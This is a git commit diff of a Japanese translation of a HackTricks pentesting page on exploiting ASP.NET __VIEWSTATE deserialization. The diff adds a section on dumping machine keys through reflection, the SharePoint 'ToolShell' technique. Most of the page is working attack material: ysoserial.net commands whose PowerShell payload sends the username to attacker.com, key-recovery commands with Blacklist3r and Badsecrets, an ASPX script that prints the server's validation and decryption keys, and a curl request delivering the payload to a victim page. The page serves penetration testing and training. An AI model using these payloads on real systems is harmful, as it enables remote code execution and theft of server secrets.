Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p

This commit is contained in:
Translator 2025-07-22 20:11:45 +00:00
parent 815cce97d1
commit 6190ff98ec

View File

@ -1,9 +1,7 @@
# __VIEWSTATE秘密を知らずに悪用する
# __VIEWSTATE秘密を知らずに悪用する
{{#include ../../banners/hacktricks-training.md}}
## ViewStateとは
**ViewState**は、ASP.NETにおけるページとコントロールデータをウェブページ間で維持するためのデフォルトメカニズムです。ページのHTMLがレンダリングされる際、ページの現在の状態とポストバック中に保持される値がbase64エンコードされた文字列にシリアライズされます。これらの文字列は、隠しViewStateフィールドに配置されます。
@ -11,15 +9,15 @@
ViewState情報は、以下の特性またはその組み合わせによって特徴付けられます
- **Base64**:
- `EnableViewStateMac``ViewStateEncryptionMode`属性の両方がfalseに設定されている場合に使用される形式です。
- `EnableViewStateMac``ViewStateEncryptionMode`属性の両方がfalseに設定されている場合に使用されるフォーマットです。
- **Base64 + MAC (メッセージ認証コード) 有効**:
- MACの有効化は、`EnableViewStateMac`属性をtrueに設定することで達成されます。これにより、ViewStateデータの整合性検証が提供されます。
- **Base64 + 暗号化**:
- `ViewStateEncryptionMode`属性がtrueに設定されている場合暗号化が適用され、ViewStateデータの機密性が確保されます。
- `ViewStateEncryptionMode`属性がtrueに設定されている場合暗号化が適用され、ViewStateデータの機密性が確保されます。
## テストケース
画像は、.NETフレームワークのバージョンに基づくASP.NETにおけるViewStateの異なる構成を詳細に示した表です。内容の概要は以下の通りです:
画像は、.NETフレームワークのバージョンに基づくASP.NETにおけるViewStateの異なる構成を詳細に示す表です。内容の要約は以下の通りです:
1. **任意の.NETバージョン**において、MACと暗号化の両方が無効な場合、MachineKeyは必要なく、したがってそれを特定する適用可能な方法はありません。
2. **4.5未満のバージョン**では、MACが有効で暗号化が無効な場合、MachineKeyが必要です。MachineKeyを特定する方法は「Blacklist3r」と呼ばれます。
@ -34,19 +32,19 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**ViewState属性の特定**
BurpSuiteを使用して、このパラメータを含むリクエストをキャプチャすることで、ViewStateがMACで保護されているかどうかを特定しようとすることができます。Macがパラメータを保護するために使用されていない場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)を使用してこれを悪用することができます。
BurpSuiteを使用して、このパラメータを含むリクエストをキャプチャすることで、ViewStateがMACで保護されているかどうかを特定しようとすることができます。パラメータを保護するためにMacが使用されていない場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)を使用してこれを悪用することができます。
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### Test case 1.5 Test case 1と同様ですが、ViewStateクッキーはサーバーによって送信されません
開発者は**ViewState**をHTTPリクエストの一部として送信されないように**削除**することができます(ユーザーはこのクッキーを受け取りません)。\
**ViewState**が**存在しない**場合、その実装は**ViewStateデシリアライズに起因する潜在的な脆弱性から安全である**と仮定するかもしれません。\
しかし、それは事実ではありません。リクエストボディに**ViewStateパラメータ**を追加し、ysoserialを使用して作成したシリアライズされたペイロードを送信すれば、**ケース1**示されているように**コード実行**を達成することができます。
開発者は**ViewState**をHTTPリクエストの一部として送信ないように**削除**することができます(ユーザーはこのクッキーを受け取りません)。\
**ViewState**が**存在しない**場合、その実装は**ViewStateデシリアライズに起因する潜在的な脆弱性**から**安全**であると考えるかもしれません。\
しかし、それは事実ではありません。リクエストボディに**ViewStateパラメータ**を追加し、ysoserialを使用して作成したシリアライズされたペイロードを送信すれば、**ケース1**示されているように**コード実行**を達成することができます。
### Test Case: 2 .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false
特定のページに対して**ViewState MAC**を**有効にする**ためには、特定のaspxファイルに以下の変更を加える必要があります
特定のページに**ViewState MAC**を**有効にする**ためには、特定のaspxファイルに以下の変更を加える必要があります
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
@ -70,7 +68,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstate 用には、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstates 用には、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。
viewstate と generator を直接提供することができます:
```
@ -81,7 +79,7 @@ python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgX
```
![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
または、ターゲットURLに直接接続し、HTMLからviewstateを切り出そうとすることができます:
または、ターゲットURLに直接接続し、HTMLからviewstateを抽出しようとすることもできます:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
@ -96,29 +94,29 @@ bbot -f subdomain-enum -m badsecrets -t evil.corp
```
![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
運が良ければ、キーが見つかり、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**を使用して攻撃を進めることができます。
運が良ければ、キーが見つかり、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** を使用して攻撃を進めることができます。
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
サーバーによって`_VIEWSTATEGENERATOR`パラメータが**送信されない**場合、`--generator`パラメータを**提供する必要はありませんが、これらのパラメータは必要です**:
サーバーによって `_VIEWSTATEGENERATOR` パラメータが **送信されない** 場合、`--generator` パラメータを **提供する必要はありませんが、これらのパラメータは必要です**:
```bash
--apppath="/" --path="/hello.aspx"
```
### テストケース: 3 .Net < 4.5 EnableViewStateMac=true/false ViewStateEncryptionMode=true
### テストケース: 3 .Net < 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true
この場合、パラメータがMACで保護されているかどうかは不明です。そのため、値はおそらく暗号化されており、**脆弱性を悪用するためにペイロードを暗号化するためのマシンキーが必要です**。
**この場合、** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **モジュールは開発中です...**
**.NET 4.5以前では、** ASP.NETは**`ViewStateEncryptionMode`**が_**Always**_に設定されていても、ユーザーからの**暗号化されていない**\_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NETは**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**確認します**。**このパラメータを削除し、暗号化されていないペイロードを送信すると、それでも処理されます。**
**.NET 4.5以前では、** ASP.NETは**`ViewStateEncryptionMode`**が_**常に**_に設定されていても、ユーザーからの**暗号化**\_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NETは**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**確認します**。**このパラメータを削除し、未暗号化のペイロードを送信しても、処理されます。**
したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) コマンドを**ケース2**で使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。
したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、**ケース2**で使用された[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)コマンドを使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。
- ViewStateのデシリアライズ脆弱性を悪用するために、リクエストから`__VIEWSTATEENCRYPTED`パラメータを削除してください。そうしないと、Viewstate MAC検証エラーが返され、悪用は失敗します。
### テストケース: 4 .Net >= 4.5 と EnableViewStateMac=true/false と ViewStateEncryptionMode=true/false ただし両方の属性がfalseの場合
### テストケース: 4 .Net >= 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true/false ただし両方の属性がfalseの場合
以下のパラメータをweb.configファイル内に指定することで、ASP.NETフレームワークの使用を強制できます。
```xml
@ -138,9 +136,9 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
IISDirPathとTargetPagePathの詳細な説明については[こちらを参照してください](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
IISDirPathとTargetPagePathの詳細な説明については[こちらを参照してください](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)生成者値付き)を使用して:
または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)ジェネレーター値付き)を使用して:
```bash
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
@ -155,9 +153,9 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証PoCで示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認できます。
ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証PoCで示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[成功した悪用のPoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認できます。
### Test Case 6 ViewStateUserKeysが使用されている
### テストケース 6 ViewStateUserKeysが使用されている
**ViewStateUserKey**プロパティは、**CSRF攻撃**に対して**防御**するために使用できます。そのようなキーがアプリケーションで定義されている場合、これまでに議論した方法で**ViewState**ペイロードを生成しようとすると、**ペイロードはアプリケーションによって処理されません**。\
ペイロードを正しく作成するために、もう1つのパラメータを使用する必要があります
@ -166,9 +164,40 @@ ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者
```
### 成功したエクスプロイトの結果 <a href="#poc" id="poc"></a>
すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは「**500 Internal server error**」で応答し、応答内容は「**このページの状態情報は無効であり、破損している可能性があります**」となり、OOB リクエストを受け取ります。
すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは「**500 Internal server error**」で応答し、応答内容は「**このページの状態情報は無効であり、破損している可能性があります**」となり、OOB リクエストを取得します。
[さらに詳しい情報はこちらを確認してください](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
[さらに情報を確認するにはこちらをチェックしてください](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
### リフレクションを介したASP.NETマシンキーのダンプ (SharPyShell/SharePoint ToolShell)
ターゲットのウェブルート内で**任意のASPXコードをアップロードまたは実行できる**攻撃者は、ブルートフォースする代わりに`__VIEWSTATE`を保護する秘密鍵を直接取得できます。
鍵を漏洩させる最小限のペイロードは、リフレクションを通じて内部の.NETクラスを利用します:
```csharp
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>
```
ページのリクエストは、**ValidationKey**、**DecryptionKey**、暗号化アルゴリズム、およびASP.NET互換モードを出力します。これらの値は、**ysoserial.net**に直接入力して、有効な署名付き`__VIEWSTATE`ガジェットを作成することができます:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
```
この**key-exfiltration primitive**は、2025年にオンプレミスのSharePointサーバーに対して大規模に悪用されました"ToolShell" CVE-2025-53770/53771が、攻撃者がサーバーサイドコードを実行できる任意のASP.NETアプリケーションに適用可能です。
## 参考文献
@ -176,5 +205,6 @@ ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
{{#include ../../banners/hacktricks-training.md}}